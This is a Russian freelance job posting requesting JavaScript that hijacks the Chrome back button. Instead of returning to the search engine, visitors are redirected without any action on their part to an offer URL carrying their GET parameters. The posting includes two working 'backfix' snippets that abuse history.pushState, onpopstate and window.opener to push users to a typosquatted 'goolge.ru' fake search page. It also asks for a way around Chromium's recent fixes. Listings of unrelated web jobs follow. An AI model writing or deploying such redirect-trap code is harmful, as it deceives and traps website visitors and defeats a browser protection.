Здравствуйте! Требуется опытный программист для доработки сайта на Framework Laravel. Требования: - уверенное знание PHP, Laravel, API - разбираться в чужом коде - GIT - тестирование написанного ...
Код JS подмена кнопки "назад" в браузере Google Chrome
Разместите заказ на фриланс-бирже и предложения поступят уже через несколько минут.
Написать (найти готовый) код JS блокирующий нажатие кнопки "назад" в браузере Google Chrome последней версии! так, чтобы при попытке уйти на предыдущую страницу юзера можно было сразу и без каких-либо действий с его стороны автоматически перекидывать на определенный URL с передачей всех GET параметров.
Пример:
- с Яндекса юзер переходит на наш сайт.ру/?get=param123
- сайт не понравился и сразу нажимает в телефоне или ПК в браузере Google Chrome кнопку "назад" (при этом юзер не кликал и не делал никаких действий на странице).
- перекидывается не назад на Яндекс, а на заданный URL, например offer.ru, с передачей GET вот так: offer.ru/?get=param123
// fakesearch & backfix
var strGET = window.location.search.replace( '?', '');
link = 'https://www.goolge.ru/search/?'+strGET;
if (window['opener'] != null) {
window['opener']['location'] = link;
}
else {
var strGET = window.location.search.replace( '?', '');
link = 'https://www.goolge.ru/search/?'+strGET;
var t;
try {
for (t = 0; 10 > t; ++t)
history.pushState({}, "", "#");
onpopstate = function (t) {
t.state && location.replace(link)
}
}
catch (o) {}
}
или:
document.addEventListener('DOMContentLoaded', function(){
setTimeout(function() {
var strGET = window.location.search.replace( '?', '');
var link = 'https://www.goolge.ru/?'+strGET+'&d_ref='+location.hostname;
(function() {
window.onpopstate=function(o){
window.location=link;
};
window.history.pushState({},"", "");
})();
}, 10);
});
P.S. Летом вышли пофиксенные хромиумы и старые backfix коды не работают без клика в области сайта - нужно придумать решение. Сделать всплывающие окна побуждающие пользователя кликнуть самому - не предлагать. Нужно без участия пользователя, на JS.
Заявки фрилансеров
Похожие заказы
- Веб-программирование9 заявокЗакрыт5 лет назад
Здравствуйте, ТЗ ниже, оставляйте заявки у кого есть опыт работы с Битрикс и кто сможет помочь, ну и собственно за какую цену и срок.
Веб-программирование3 заявкиЗакрыт5 лет назад- $150
Нужно изменить форму заявки(дизайн), есть макет, и скриншоты примера. Сайт написан на php. Сделать нужно именно сегодня
Веб-программирование1 исполнительЗакрыт5 лет назад Здравствуйте, есть простенький сайт с выпечкой, нужно сделать подобный с небольшими изменениями (поменять фон, подвязать ленту инсты, практически без правок) на ВП, с возможностью дальнейшего редактирования. Подробности в ЛС, жду сроки и цены.
Веб-программирование10 заявокЗакрыт5 лет назаднужно доделать прогресс бар, срочно
Веб-программирование2 заявкиЗакрыт5 лет назадЕсть сайт http://cian.icu/ нужно сделать функции "vip объявлений" как на сайте http://boplus.ru/uslugi-i-servis/obrazovanie--kursy/320118.html внизу "сделать объявление более заметным" у него несколько платёжек, мне нужно сделать одну самую популярную...
Веб-программирование2 заявкиЗакрыт5 лет назад1. Необходимо полностью скачать рабочий, но зашифрованный сайт (он не большой, страниц не более 50). 2. Раскодировать JS и другие файлы сайта. На выходе должны быть собраны все необходимые для корректной работы сайта ...
Веб-программирование3 заявкиЗакрыт5 лет назадНеобходимо сделать интеграцию форм на сайте Tilda. По какой-то причине нормально направляет данные в amo, в тоже самое время не направляет в Гетреспонс. Задание: 1. Сделать интеграцию на ...
Веб-программирование2 заявкиЗакрыт5 лет назад- $150
Сделать аналогичный личный кабинет с функционалом сделок как сайте. https://cashpass.ru Временно с тем же дизайном. Если какие-то функции труднореализуемы,пишите обсудим,возможно они и не будут нужны.
Веб-программирование5 заявокЗакрыт5 лет назад - $15
Необходимо вставить в лендинг сайта (сделан на wordpress) пару блоков с другого сайта (сделан на Тильде). Т.е. придется сделать переверстку двух блоков и подстроить ее под текущий сайт.
Веб-программирование1 исполнительЗавершен5 лет назад